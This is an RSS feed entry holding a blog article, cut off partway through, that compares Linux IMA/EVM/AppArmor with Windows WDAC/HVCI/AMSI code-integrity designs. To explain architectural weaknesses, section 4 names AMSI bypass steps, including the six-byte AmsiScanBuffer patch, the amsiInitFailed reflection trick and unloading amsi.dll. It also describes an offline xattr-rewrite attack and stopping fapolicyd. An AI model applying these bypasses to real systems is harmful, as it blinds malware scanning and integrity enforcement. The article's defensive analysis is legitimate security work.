<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Parag Mali - tag: amsi</title><description>Posts tagged amsi.</description><link>https://paragmali.com/</link><language>en-US</language><lastBuildDate>Sun, 07 Jun 2026 04:13:09 GMT</lastBuildDate><atom:link href="https://paragmali.com/tags/amsi/rss.xml" rel="self" type="application/rss+xml"/><item><title>Two Routes to Code Integrity: Linux IMA + AppArmor vs Windows WDAC + AMSI</title><link>https://paragmali.com/blog/two-routes-to-code-integrity-linux-ima--apparmor-vs-windows-/</link><guid isPermaLink="true">https://paragmali.com/blog/two-routes-to-code-integrity-linux-ima--apparmor-vs-windows-/</guid><description>Linux and Windows answer one question -- &quot;is this code allowed to run?&quot; -- with very different machinery. Where the verifier lives matters more than how strong it is.</description><pubDate>Sat, 16 May 2026 00:00:00 GMT</pubDate><content:encoded>
Linux and Windows have spent fifteen years answering the same question -- &quot;is this code allowed to run?&quot; -- and arrived at radically different architectures. Linux composes half a dozen narrow kernel modules (IMA, EVM, AppArmor, SELinux, fs-verity, IPE) plus a userspace daemon (`fapolicyd`); Windows ships one integrated suite (App Control + HVCI + AMSI + Smart App Control). Both stacks shipped their v1 with the **check in the wrong place**, and the architectural pivots that fixed it -- EVM&apos;s HMAC-sealed xattrs, HVCI&apos;s hypervisor-isolated verifier, IPE&apos;s property-based decisions -- are the breakthrough lesson of this comparison. Crypto is solved. Trust-boundary protection and policy expressiveness are not, and Rice&apos;s theorem says they never fully will be.
&lt;h2&gt;1. Two bypasses, same architectural shape&lt;/h2&gt;
&lt;p&gt;On a Windows 11 desktop, an attacker with a PowerShell session under their control can blind Microsoft Defender to every script that session ever evaluates by overwriting six bytes inside one function in &lt;code&gt;amsi.dll&lt;/code&gt;. The &lt;a href=&quot;https://paragmali.com/blog/amsi-the-pre-execution-window-defender/&quot; rel=&quot;noopener&quot;&gt;Antimalware Scan Interface&lt;/a&gt;, the in-process bridge between scripting hosts and the registered antivirus product, dutifully reports &quot;clean&quot; on every subsequent buffer because the prologue of &lt;code&gt;AmsiScanBuffer&lt;/code&gt; has been patched to &lt;code&gt;mov eax, 0; ret&lt;/code&gt; (&lt;code&gt;B8 00 00 00 00 C3&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;The interface ships exactly as Microsoft documents it, and the function still has the signature in MSDN [@learn-microsoft-com-amsi-amsiscanbuffer]: the attacker did not need to break anything. They needed only to write into the address space they already owned.&lt;/p&gt;
&lt;p&gt;On a Linux server, a different attacker with offline access to the disk -- recovered from a stolen laptop, a forensics image, a hostile cloud-provider snapshot -- mounts the filesystem and rewrites a system binary together with the file&apos;s &lt;code&gt;security.ima&lt;/code&gt; extended attribute. When the box boots, the kernel&apos;s Integrity Measurement Architecture hashes the binary at exec time, compares the hash to the value stored in &lt;code&gt;security.ima&lt;/code&gt;, sees a match, and allows execution. Without the Extended Verification Module, IMA appraisal has no defence against this offline-rewrite attack [@lwn-net-articles-394170] -- the reference hash is sitting next to the file the attacker just replaced.&lt;/p&gt;
&lt;p&gt;Both operating systems claim fail-closed code-integrity enforcement. Both lose to a single architectural mistake about &lt;strong&gt;where the check runs&lt;/strong&gt;. The mistakes are different in detail and identical in shape: the verifier is reachable by the attacker. On Windows the attacker shares the script host&apos;s address space with the scanner. On Linux the attacker shares the on-disk container with the reference hash.&lt;/p&gt;
&lt;p&gt;This article exists to make that symmetry visible. The two stacks reached their 2026 form by very different routes -- Linux composes six narrow Linux Security Modules and one userspace daemon, Windows ships one tightly-coupled product line -- but the breakthroughs on each side answered the same question: how do you move the verifier out of reach?&lt;/p&gt;
&lt;p&gt;The Linux answer was EVM (HMAC the extended attributes that IMA depends on) and IPE (decide on immutable file properties rather than file contents). The Windows answer was HVCI (lift the kernel-mode code-integrity check into a hypervisor-isolated secure kernel). The names are different. The lesson is one.&lt;/p&gt;
&lt;p&gt;Why did Linux and Windows arrive at such different architectures in the first place? That story starts in an IBM research lab in 2003.&lt;/p&gt;
&lt;h2&gt;2. The question both operating systems are trying to answer&lt;/h2&gt;
&lt;p&gt;Both lineages exist to answer one question -- &quot;is this code allowed to run?&quot; -- but they put the check in completely different places. Before we can compare them honestly, we need a shared vocabulary for the three layers any production code-integrity stack must cover.&lt;/p&gt;
&lt;p&gt;The first layer is &lt;strong&gt;code integrity&lt;/strong&gt; itself, often abbreviated CI: a gate on the file&apos;s content or its signer. Did this &lt;code&gt;.so&lt;/code&gt; come from a package my distribution signed? Does this &lt;code&gt;.exe&lt;/code&gt; match an &lt;a href=&quot;https://paragmali.com/blog/authenticode-and-catalog-files-the-crypto-foundation-under-w/&quot; rel=&quot;noopener&quot;&gt;Authenticode chain&lt;/a&gt; rooted in a publisher my policy trusts? The answer is binary. The hook fires before the process loads the bytes.&lt;/p&gt;
&lt;p&gt;The second layer is &lt;strong&gt;mandatory access control&lt;/strong&gt;, or MAC. Now the process is running. What can it do? Can &lt;code&gt;nginx&lt;/code&gt; open &lt;code&gt;/etc/shadow&lt;/code&gt;? Can &lt;code&gt;mshta.exe&lt;/code&gt; spawn &lt;code&gt;cmd.exe&lt;/code&gt;? MAC is enforced by the kernel above discretionary access control and cannot be overridden by userspace privileges.&lt;/p&gt;

A kernel-enforced policy layer above traditional discretionary access control (DAC). Unlike DAC, where the file owner sets permissions, MAC policy is set by the system administrator and applied uniformly to all processes; no user, including root, can override it without changing the policy itself.
&lt;p&gt;The third layer is &lt;strong&gt;content inspection&lt;/strong&gt;: gating not on the file but on the buffer the interpreter is about to evaluate. The PowerShell engine has just deobfuscated a long string into a script block. Is the script block malicious? Linux has no production equivalent. Windows ships AMSI [@learn-microsoft-com-interface-portal] for exactly this.&lt;/p&gt;
&lt;p&gt;Where each operating system puts these checks tells you almost everything about its architectural philosophy.&lt;/p&gt;
&lt;p&gt;Linux puts every check on a Linux Security Module hook [@kernel-org-security-lsmhtml]. IMA registers at &lt;code&gt;bprm_check&lt;/code&gt; (the kernel hook that fires when a binary is about to be executed), &lt;code&gt;file_mmap&lt;/code&gt; with &lt;code&gt;MAY_EXEC&lt;/code&gt;, &lt;code&gt;module_check&lt;/code&gt;, &lt;code&gt;firmware_check&lt;/code&gt;, and &lt;code&gt;kexec_*&lt;/code&gt;. AppArmor and SELinux register at the syscall-level access hooks. &lt;code&gt;fapolicyd&lt;/code&gt; rides on top of &lt;code&gt;fanotify&lt;/code&gt;. IPE hooks &lt;code&gt;op=EXECUTE&lt;/code&gt;. The kernel is the trust boundary, and every mechanism is a polite tenant inside it.&lt;/p&gt;

The kernel framework, merged into Linux 2.6.0 in December 2003, that hosts pluggable security modules at well-defined hook points in the kernel. LSMs include SELinux, AppArmor, Smack, Tomoyo, IMA, EVM, IPE, BPF LSM, and Landlock; multiple modules can coexist via &quot;LSM stacking&quot;.
&lt;p&gt;Windows takes the opposite path. The PE loader is the gate for user-mode code integrity (UMCI). The kernel-mode code-integrity check is, in the modern stack, moved out of the normal kernel into a small secure kernel running on top of Hyper-V -- Hypervisor-protected Code Integrity, HVCI [@learn-microsoft-com-code-integrity]. The script broker runs in-process with each scripting host. Cloud reputation is consulted via the Intelligent Security Graph and exposed to consumers as &lt;a href=&quot;https://paragmali.com/blog/mark-of-the-web-smartscreen-catalog-of-trust/&quot; rel=&quot;noopener&quot;&gt;Smart App Control&lt;/a&gt;.&lt;/p&gt;

A monotonically extendable hash register inside a Trusted Platform Module. New measurements are folded in with `PCR_new = SHA256(PCR_old || measurement)`. Once extended, the value cannot be rolled back without resetting the TPM. IMA extends file-content hashes into PCR 10; the Windows Measured Boot chain uses PCRs 0-7 and 11-14.
&lt;p&gt;The architectural philosophy comes down to a sentence each. Linux trusts the &lt;strong&gt;kernel surface&lt;/strong&gt; and packs every integrity mechanism into it as a separate LSM. Windows trusts a &lt;strong&gt;hypervisor-isolated secure kernel&lt;/strong&gt; and uses it to host the integrity logic the normal kernel cannot be trusted to run honestly.&lt;/p&gt;

flowchart LR
  subgraph CI[Code integrity: gate on file content or signer]
    direction TB
    L_IMA[Linux: IMA + EVM]
    L_IPE[Linux: IPE]
    L_FSV[Linux: fs-verity]
    L_FAP[Linux: fapolicyd]
    W_WDAC[Windows: App Control / WDAC]
    W_HVCI[Windows: HVCI / Memory Integrity]
    W_SAC[Windows: Smart App Control]
  end
  subgraph MAC[Mandatory access control: gate on running process behaviour]
    direction TB
    L_AA[Linux: AppArmor]
    L_SE[Linux: SELinux]
    W_NONE[Windows: no direct analogue, closest is AppContainer / ASR]
  end
  subgraph CS[Content inspection: gate on the buffer the interpreter will evaluate]
    direction TB
    W_AMSI[Windows: AMSI]
    L_GAP[Linux: no production equivalent]
  end
  CI --&amp;gt; MAC --&amp;gt; CS
&lt;p&gt;Neither stack started this way. The 2026 stack on each side is the accumulated answer to fifteen years of failures. Here is how they grew up.&lt;/p&gt;
&lt;h2&gt;3. Two genesis stories&lt;/h2&gt;
&lt;p&gt;In 2003, four IBM researchers at the T. J. Watson Research Center -- Reiner Sailer, Xiaolan Zhang, Trent Jaeger, and Leendert van Doorn -- tried to convince the USENIX Security community that you could prove the integrity of a Linux web server to a remote verifier. Their paper, &lt;em&gt;Design and Implementation of a TCG-based Integrity Measurement Architecture&lt;/em&gt; [@usenix-org-tech-sailerhtml], shipped at the 13th USENIX Security Symposium in 2004. It proposed hashing every executable file at load time, extending each hash into a &lt;a href=&quot;https://paragmali.com/blog/the-tpm-in-windows-one-primitive-twenty-five-years-and-the-c/&quot; rel=&quot;noopener&quot;&gt;TPM platform configuration register&lt;/a&gt;, and sending the resulting measurement list to a remote verifier who could compare it to a known-good manifest.&lt;/p&gt;
&lt;p&gt;The performance evaluation [@usenix-org-sailerhtml-node19html] measured the cost on an IBM Netvista with a 2.4 GHz Pentium 4: the &lt;code&gt;file_mmap&lt;/code&gt; LSM hook added 0.08 microseconds per call on a cache hit, and SHA-1 fingerprinting ran at roughly 80 MB/s. The headline claim was that more than 99.9% of measure calls landed on the cached path, so the overhead was essentially free.Pentium 4-era SHA-1 at 80 MB/s vs Ice Lake-era SHA-NI-accelerated SHA-256 at roughly 2 GB/s per core: a 25x throughput jump in twenty years. The original paper&apos;s qualitative finding -- cache hit dominates, overhead is negligible -- holds even more strongly on modern silicon.&lt;/p&gt;
&lt;p&gt;It took five years for that proposal to reach the kernel. IMA&apos;s measurement-only mode was merged in Linux 2.6.30 in June 2009. It hashed files at &lt;code&gt;bprm_check&lt;/code&gt;, &lt;code&gt;file_mmap&lt;/code&gt;, and &lt;code&gt;module_check&lt;/code&gt;, extended TPM PCR 10, and otherwise let everything run.&lt;/p&gt;
&lt;p&gt;The &quot;is this hash allowed?&quot; question would have to wait three more years. The Extended Verification Module landed in Linux 3.2 in January 2012; digital-signature mode for EVM followed in 3.3 in March 2012; and IMA-appraise, the enforcement extension that finally let the kernel return &lt;code&gt;-EPERM&lt;/code&gt; when a file&apos;s hash did not match &lt;code&gt;security.ima&lt;/code&gt;, merged in Linux 3.7 in December 2012 [@lwn-net-articles-488906]. The same LWN article frames the cadence plainly: &quot;Much of IMA was added to the kernel in 2.6.30, but another piece, the extended verification module (EVM) was not merged until 3.2 ... Digital signature support was added to EVM in 3.3, and IMA appraisal is currently under review.&quot; Mimi Zohar&apos;s appraisal patchset [@lwn-net-articles-487700] is the canonical lore.kernel.org artifact of that final step.&lt;/p&gt;
&lt;p&gt;AppArmor took a different, longer road. It was born inside Immunix in 1998 under the name &quot;SubDomain&quot;, a path-based confinement layer designed to stop privilege-escalation exploits from doing anything the binary&apos;s profile did not name. Novell acquired Immunix in 2005, renamed SubDomain to AppArmor, and shipped it as the default mandatory access control layer on SLES and openSUSE. According to the Ubuntu AppArmor wiki [@wiki-ubuntu-com-apparmor], &quot;AppArmor support was first introduced in Ubuntu 7.04, and is turned on by default in Ubuntu 7.10 and later&quot; -- so by October 2007 AppArmor was already a default-on production MAC on the most-deployed Linux desktop distribution.&lt;/p&gt;
&lt;p&gt;Mainlining did not happen until October 2010, when AppArmor finally landed in Linux 2.6.36 [@docs-kernel-org-lsm-apparmorhtml]. Seven years out of tree, three years default-on in Ubuntu, before the kernel community accepted it.&lt;/p&gt;
&lt;p&gt;The contrast with SELinux [@en-wikipedia-org-security-enhancedlinux] is sharp. SELinux merged into Linux 2.6.0 in December 2003 -- barely a year after the LSM framework was created. SELinux was, in fact, the reason the LSM framework existed.&lt;/p&gt;

SELinux&apos;s type-enforcement model maps directly to LSM&apos;s &quot;label the subject, label the object, look up the rule&quot; hook signature. AppArmor&apos;s path-based reasoning does not. LSM hooks see inodes, not paths -- and an inode can be reached from many paths (bind mounts, hard links, namespace games, chroots). To merge, AppArmor had to push kernel-side helpers like `vfs_path_lookup` and `d_absolute_path` upstream so it could reconstruct the absolute path of the object at hook time. The conceptual fight took three rejected merge attempts and seven years. The lesson is one Linux kernel reviewers have repeated since: a security model is not just an algorithm, it is a commitment to a particular kind of name-resolution semantics.
&lt;p&gt;The Windows lineage starts in a different building entirely. AppLocker shipped with Windows 7 and Windows Server 2008 R2 in 2009: a user-mode-only allowlist, with no hypervisor or kernel-mode backing, and rules tied to file paths, publishers, or hashes. AppLocker is still supported on modern Windows but &quot;isn&apos;t getting new feature improvements&quot; [@learn-microsoft-com-applocker-overview]; the modern successor is App Control for Business.&lt;/p&gt;
&lt;p&gt;Windows 10 RTM (version 1507, July 2015) shipped the first version of Device Guard along with AMSI [@learn-microsoft-com-interface-portal] and PowerShell 5.0, which integrated with AMSI from day one. Device Guard became known as Windows Defender Application Control (WDAC) and then, in 2024, was renamed once more to &lt;em&gt;App Control for Business&lt;/em&gt;. User-mode code integrity (UMCI) became a policy option, FilePath rules were added in Windows 10 version 1903 [@learn-microsoft-com-applocker-overview], multiple-policy authoring landed in the same release, and Smart App Control made its consumer debut in Windows 11 22H2 in September 2022 [@blogs-windows-com-2022-update].&lt;/p&gt;

gantt
  title Linux and Windows code-integrity timeline
  dateFormat YYYY-MM
  axisFormat %Y
  section Linux
  SELinux mainline 2.6.0    :2003-12, 12M
  AppArmor at Immunix       :1998-01, 84M
  AppArmor default in Ubuntu :2007-10, 36M
  IMA mainline 2.6.30        :2009-06, 32M
  EVM mainline 3.2           :2012-01, 2M
  EVM digital sigs 3.3       :2012-03, 9M
  IMA-appraise 3.7           :2012-12, 24M
  AppArmor mainline 2.6.36   :2010-10, 14M
  fs-verity 5.4              :2019-11, 60M
  IPE 6.12                   :2024-11, 12M
  section Windows
  AppLocker (Win 7)          :2009-10, 70M
  Device Guard + AMSI + PowerShell 5 (1507) :2015-07, 25M
  WDAC UMCI (1709)           :2017-10, 18M
  FilePath rules + multi-policy (1903) :2019-05, 24M
  HVCI broadens (Win 10 1607+) :2016-08, 60M
  Smart App Control (Win 11 22H2) :2022-09, 24M
  App Control for Business rename :2024-01, 12M
&lt;p&gt;Two timelines, two design philosophies, both shipping their v1 with the same kind of mistake. The next section makes that concrete.&lt;/p&gt;
&lt;h2&gt;4. Where the naive approach breaks&lt;/h2&gt;
&lt;p&gt;Both stacks shipped their first version with the check in the wrong place. Two stories make this concrete; two more refine it.&lt;/p&gt;
&lt;h3&gt;Story A: IMA-as-shipped (2009) without EVM&lt;/h3&gt;
&lt;p&gt;When IMA reached the kernel in Linux 2.6.30, it hashed the file at &lt;code&gt;bprm_check&lt;/code&gt; and stored the reference hash in the file&apos;s &lt;code&gt;security.ima&lt;/code&gt; extended attribute. That is what an attacker with offline disk access needs to defeat the check, and exactly nothing else. Mount the filesystem from another box, swap the binary for a malicious one, recompute the SHA over the new binary, write the new value into &lt;code&gt;security.ima&lt;/code&gt;. Boot the box. The kernel hashes the malicious binary at exec, reads the matching xattr the attacker just wrote, and lets the syscall through.&lt;/p&gt;
&lt;p&gt;This is the offline-tampering attacker model EVM was designed to defeat. The contemporaneous LWN coverage put it plainly: &quot;IMA can be subverted by &apos;offline&apos; attacks, where file data or metadata is changed out from under IMA. Mimi Zohar has proposed the extended verification module (EVM) patch set as a means to protect against these offline attacks.&quot; [@lwn-net-articles-394170]&lt;/p&gt;
&lt;p&gt;The EVM v5 patchset [@lwn-net-articles-443038], posted by Zohar in May 2011, describes the design directly: &quot;Extended Verification Module (EVM) detects offline tampering of the security extended attributes (e.g. security.selinux, security.SMACK64, security.ima) ... initial method maintains an HMAC-sha1 across a set of security extended attributes, storing the HMAC as the extended attribute &apos;security.evm&apos;.&quot;&lt;/p&gt;
&lt;h3&gt;Story B: AMSI as shipped (2015) inside the script host&lt;/h3&gt;
&lt;p&gt;AMSI&apos;s design is documented in &lt;em&gt;How AMSI helps you defend against malware&lt;/em&gt; [@learn-microsoft-com-amsi-helps]: &quot;Script (malicious or otherwise), might go through several passes of de-obfuscation. But you ultimately need to supply the scripting engine with plain, un-obfuscated code. And that&apos;s the point at which you invoke the AMSI APIs.&quot;&lt;/p&gt;
&lt;p&gt;A scripting host -- PowerShell, WSH, MSHTA, Office VBA, the UAC installer dialog -- calls &lt;code&gt;AmsiInitialize&lt;/code&gt;, then for every plain-text script buffer it is about to execute calls &lt;code&gt;AmsiScanBuffer&lt;/code&gt; [@learn-microsoft-com-amsi-amsiscanbuffer] or &lt;code&gt;AmsiScanString&lt;/code&gt;. The call is routed through &lt;code&gt;amsi.dll&lt;/code&gt;, loaded into the host process, which dispatches to the registered &lt;code&gt;IAntimalwareProvider&lt;/code&gt; COM server. Defender is the default provider.&lt;/p&gt;
&lt;p&gt;The detection logic is sound. The trust boundary is not. The attacker already controls the script host. Three single-shot bypass techniques have lived in red-team toolkits since 2016:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Patch &lt;code&gt;AmsiScanBuffer&lt;/code&gt;&apos;s prologue in memory to &lt;code&gt;mov eax, 0; ret&lt;/code&gt; (&lt;code&gt;B8 00 00 00 00 C3&lt;/code&gt;). Six bytes of opcode rewrite, no syscalls required, blinds the scanner permanently for this process.&lt;/li&gt;
&lt;li&gt;Set &lt;code&gt;System.Management.Automation.AmsiUtils.amsiInitFailed = true&lt;/code&gt; via reflection. PowerShell checks the flag on every scan path and short-circuits.&lt;/li&gt;
&lt;li&gt;Unload &lt;code&gt;amsi.dll&lt;/code&gt; via &lt;code&gt;FreeLibrary&lt;/code&gt;. There is no scanner left to call.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Microsoft tracks this so closely that its own &quot;Applications that can bypass App Control&quot; [@learn-microsoft-com-bypass-appcontrol] deny list calls out the AMSI-bypass-capable versions of &lt;code&gt;system.management.automation.dll&lt;/code&gt; by hash. The defender&apos;s authoritative list of files-to-block treats specific signed Microsoft DLLs as named threats.The same Microsoft bypass list also enumerates &lt;code&gt;mshta.exe&lt;/code&gt;, &lt;code&gt;wscript.exe&lt;/code&gt;, &lt;code&gt;cscript.exe&lt;/code&gt;, &lt;code&gt;msbuild.exe&lt;/code&gt;, &lt;code&gt;Microsoft.Build.dll&lt;/code&gt;, &lt;code&gt;windbg.exe&lt;/code&gt;, &lt;code&gt;cdb.exe&lt;/code&gt;, &lt;code&gt;kd.exe&lt;/code&gt;, &lt;code&gt;dotnet.exe&lt;/code&gt;, &lt;code&gt;csi.exe&lt;/code&gt;, &lt;code&gt;rcsi.exe&lt;/code&gt;, &lt;code&gt;addinprocess.exe&lt;/code&gt;, &lt;code&gt;wmic.exe&lt;/code&gt;, &lt;code&gt;bash.exe&lt;/code&gt;, &lt;code&gt;wsl.exe&lt;/code&gt;, &lt;code&gt;runscripthelper.exe&lt;/code&gt;, and dozens of others -- 40+ entries today, growing whenever a new Microsoft-signed binary turns out to host an attacker-friendly evaluator.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The host process making the AMSI call is the same process the attacker is running in. Any defence-in-depth plan that treats AMSI as a hard control is mis-specified. Treat AMSI as a high-quality telemetry surface feeding Defender for Endpoint and EDR pipelines; budget for the bypass.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;{`
// In Windows, AMSI scans each plain-text script buffer just before
// the scripting engine evaluates it. The scanner lives in amsi.dll,
// loaded into the script host process. The attacker who controls
// that process can rewrite the function&apos;s first few bytes.
//
// This toy model shows the consequence: once &quot;patched&quot;, the scanner
// returns CLEAN regardless of input, and the assertion below holds
// for every possible payload.&lt;/p&gt;
&lt;p&gt;const AMSI_RESULT_CLEAN = 0;
const AMSI_RESULT_MALWARE = 32768;&lt;/p&gt;
&lt;p&gt;function amsiScanBuffer(buf, patched) {
  if (patched) return AMSI_RESULT_CLEAN;
  if (buf.includes(&quot;Invoke-Mimikatz&quot;)) return AMSI_RESULT_MALWARE;
  return AMSI_RESULT_CLEAN;
}&lt;/p&gt;
&lt;p&gt;console.log(&quot;Normal mode:&quot;);
console.log(&quot;  clean payload:    &quot;, amsiScanBuffer(&quot;Get-Process&quot;, false));
console.log(&quot;  malicious payload:&quot;, amsiScanBuffer(&quot;Invoke-Mimikatz&quot;, false));&lt;/p&gt;
&lt;p&gt;console.log(&quot;\nAfter six-byte patch:&quot;);
console.log(&quot;  clean payload:    &quot;, amsiScanBuffer(&quot;Get-Process&quot;, true));
console.log(&quot;  malicious payload:&quot;, amsiScanBuffer(&quot;Invoke-Mimikatz&quot;, true));&lt;/p&gt;
&lt;p&gt;// The takeaway: no input ever produces MALWARE once the scanner is patched.
// Strengthening AMSI&apos;s signature engine cannot fix this. The scanner
// must move out of the script host&apos;s address space.
`}&lt;/p&gt;
&lt;h3&gt;Story C: WDAC&apos;s &quot;trust all Microsoft-signed code&quot; anti-pattern&lt;/h3&gt;
&lt;p&gt;A &lt;a href=&quot;https://paragmali.com/blog/wdac--hvci-code-integrity-at-every-layer-in-windows/&quot; rel=&quot;noopener&quot;&gt;WDAC policy&lt;/a&gt; that trusts code signed by Microsoft also trusts every binary Microsoft has ever signed. That set includes &lt;code&gt;mshta.exe&lt;/code&gt;, &lt;code&gt;wscript.exe&lt;/code&gt;, &lt;code&gt;cscript.exe&lt;/code&gt;, &lt;code&gt;msbuild.exe&lt;/code&gt;, &lt;code&gt;wmic.exe&lt;/code&gt;, &lt;code&gt;system.management.automation.dll&lt;/code&gt;, and the 40-plus other binaries enumerated on Microsoft&apos;s own App Control bypass list [@learn-microsoft-com-bypass-appcontrol]. The LOLBAS community catalogue [@lolbas-project-github-io] widens the field to roughly 200 living-off-the-land binaries with explicit MITRE ATT&amp;amp;CK technique mappings.&lt;/p&gt;
&lt;p&gt;The pattern is structural: WDAC grants trust at &lt;em&gt;signer&lt;/em&gt; granularity (a chain rooted at &quot;Microsoft Corporation&quot;); attackers exploit at &lt;em&gt;binary&lt;/em&gt; granularity (the specific &lt;code&gt;mshta.exe&lt;/code&gt; that will happily evaluate an HTA blob containing a PowerShell stager). Any non-trivial WDAC policy must therefore contain explicit hash-level denies for the known-bad versions, and must keep growing those denies as Microsoft ships new signed binaries.&lt;/p&gt;
&lt;h3&gt;Story D: fapolicyd&apos;s permissive-window failure&lt;/h3&gt;
&lt;p&gt;fapolicyd [@access-redhat-com-fapolicydsecurity-hardening] is the Red Hat userspace allowlister. It sits on the &lt;code&gt;fanotify&lt;/code&gt; permission channel and answers &quot;may this open or exec proceed?&quot; against a compiled rule database. It does not have IMA&apos;s offline-tampering problem because trust is inherited from the RPM database: &quot;An application is trusted when the system package manager correctly installs it and therefore registered in the system RPM database. The fapolicyd daemon uses the RPM database as a list of trusted binaries and scripts.&quot;&lt;/p&gt;
&lt;p&gt;What it does have is an operational footgun. Setting &lt;code&gt;permissive=1&lt;/code&gt; &quot;just for troubleshooting&quot; silently disables enforcement. Terminating the daemon causes the kernel to fail open after the fanotify response timeout. The architectural choice -- userspace daemon over kernel-mode hook -- is what makes both failure modes possible.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; The check was strong. The boundary protecting the check was weak. On IMA-as-shipped the reference hash sat next to the file the attacker rewrote. On AMSI the scanner sat inside the process the attacker controlled. On WDAC the trust grant was wider than the exploitation unit. On fapolicyd the verifier was a userspace process that could be terminated. Four different stacks, four different boundary failures, one identical lesson.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Bypass class&lt;/th&gt;
&lt;th&gt;Stack&lt;/th&gt;
&lt;th&gt;Concrete example&lt;/th&gt;
&lt;th&gt;Root cause&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Offline metadata swap&lt;/td&gt;
&lt;td&gt;IMA without EVM&lt;/td&gt;
&lt;td&gt;Rewrite binary and matching &lt;code&gt;security.ima&lt;/code&gt; xattr from rescue media&lt;/td&gt;
&lt;td&gt;Reference value stored next to the file under attacker control&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;In-process scanner patch&lt;/td&gt;
&lt;td&gt;AMSI in PowerShell&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov eax, AMSI_RESULT_CLEAN; ret&lt;/code&gt; over &lt;code&gt;AmsiScanBuffer&lt;/code&gt; prologue&lt;/td&gt;
&lt;td&gt;Scanner shares address space with the script host the attacker runs in&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Signer-vs-binary mismatch&lt;/td&gt;
&lt;td&gt;WDAC Publisher rules&lt;/td&gt;
&lt;td&gt;Allow Microsoft-signed code, attacker runs &lt;code&gt;mshta.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Trust grant is coarser than the exploitable unit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Daemon liveness&lt;/td&gt;
&lt;td&gt;fapolicyd&lt;/td&gt;
&lt;td&gt;Terminate &lt;code&gt;fapolicyd&lt;/code&gt; or set &lt;code&gt;permissive=1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Verifier is a userspace process with no kernel-rooted backstop&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Each of these failures has the same shape: the check was strong, the boundary protecting the check was weak. Both operating systems noticed, and fixed it in 2012 and 2016 in very different ways. Both fixes followed the same principle.&lt;/p&gt;
&lt;h2&gt;5. The architectural pivots&lt;/h2&gt;
&lt;p&gt;Both lineages reached the same conclusion at the same time: strengthen the boundary, not the check. Each pivot moved the trust boundary outward, beyond the place the attacker could reach.&lt;/p&gt;
&lt;h3&gt;EVM (Linux 3.2, January 2012): the xattrs become non-forgeable&lt;/h3&gt;
&lt;p&gt;The Extended Verification Module computes an HMAC over the security-relevant extended attributes -- &lt;code&gt;security.ima&lt;/code&gt;, &lt;code&gt;security.selinux&lt;/code&gt;, &lt;code&gt;security.SMACK64&lt;/code&gt;, &lt;code&gt;security.apparmor&lt;/code&gt;, &lt;code&gt;security.capability&lt;/code&gt; -- plus inode metadata (UID, GID, mode, generation), and stores the result in &lt;code&gt;security.evm&lt;/code&gt;. The HMAC key is loaded into the kernel keyring at boot, ideally sealed to a TPM 2.0 PCR set so the key is not retrievable except on a machine whose boot state matches the sealing measurement. The kernel keyring documentation for trusted and encrypted keys [@kernel-org-trusted-encryptedhtml] describes the substrate.&lt;/p&gt;
&lt;p&gt;An offline attacker with disk access still cannot forge &lt;code&gt;security.evm&lt;/code&gt; without the HMAC key. Digital-signature mode (EVM portable signatures, Linux 3.3) gives the same guarantee without any on-box key material. The check did not get cryptographically stronger: HMAC-SHA256 was not new in 2012. What changed was that the &lt;em&gt;reference value&lt;/em&gt; the check consults moved from &quot;an xattr next to the file&quot; to &quot;an xattr whose integrity is bound to a key the attacker does not have&quot;. Red Hat documents the modern setup in &lt;em&gt;Enhancing security with the kernel integrity subsystem&lt;/em&gt; [@access-redhat-com-subsystemsecurity-hardening].&lt;/p&gt;

The Linux integrity module that protects the security-relevant extended attributes IMA depends on. EVM computes an HMAC (or digital signature) over the xattr set plus inode metadata and stores it in `security.evm`. Without the EVM key, an offline attacker cannot rewrite a binary and its matching `security.ima` to produce a valid pair.

sequenceDiagram
  participant App as User app
  participant K as Kernel
  participant FS as Filesystem
  participant IMA as IMA
  participant EVM as EVM
  participant TPM as TPM keyring
  App-&amp;gt;&amp;gt;K: execve(&quot;/usr/bin/foo&quot;)
  K-&amp;gt;&amp;gt;IMA: bprm_check hook
  IMA-&amp;gt;&amp;gt;FS: read file bytes
  IMA-&amp;gt;&amp;gt;IMA: compute SHA-256
  IMA-&amp;gt;&amp;gt;FS: read security.ima xattr
  IMA-&amp;gt;&amp;gt;EVM: verify xattr integrity
  EVM-&amp;gt;&amp;gt;FS: read security.evm and full xattr set
  EVM-&amp;gt;&amp;gt;TPM: HMAC key from keyring (sealed to PCRs)
  EVM-&amp;gt;&amp;gt;EVM: recompute HMAC over xattr set + inode meta
  alt HMAC matches and IMA hash matches
    EVM--&amp;gt;&amp;gt;IMA: ok
    IMA--&amp;gt;&amp;gt;K: allow
    K--&amp;gt;&amp;gt;App: exec proceeds
  else mismatch
    EVM--&amp;gt;&amp;gt;IMA: -EPERM
    IMA--&amp;gt;&amp;gt;K: deny
    K--&amp;gt;&amp;gt;App: -EPERM
  end
&lt;h3&gt;IMA-appraise (Linux 3.7, December 2012): from observation to enforcement&lt;/h3&gt;
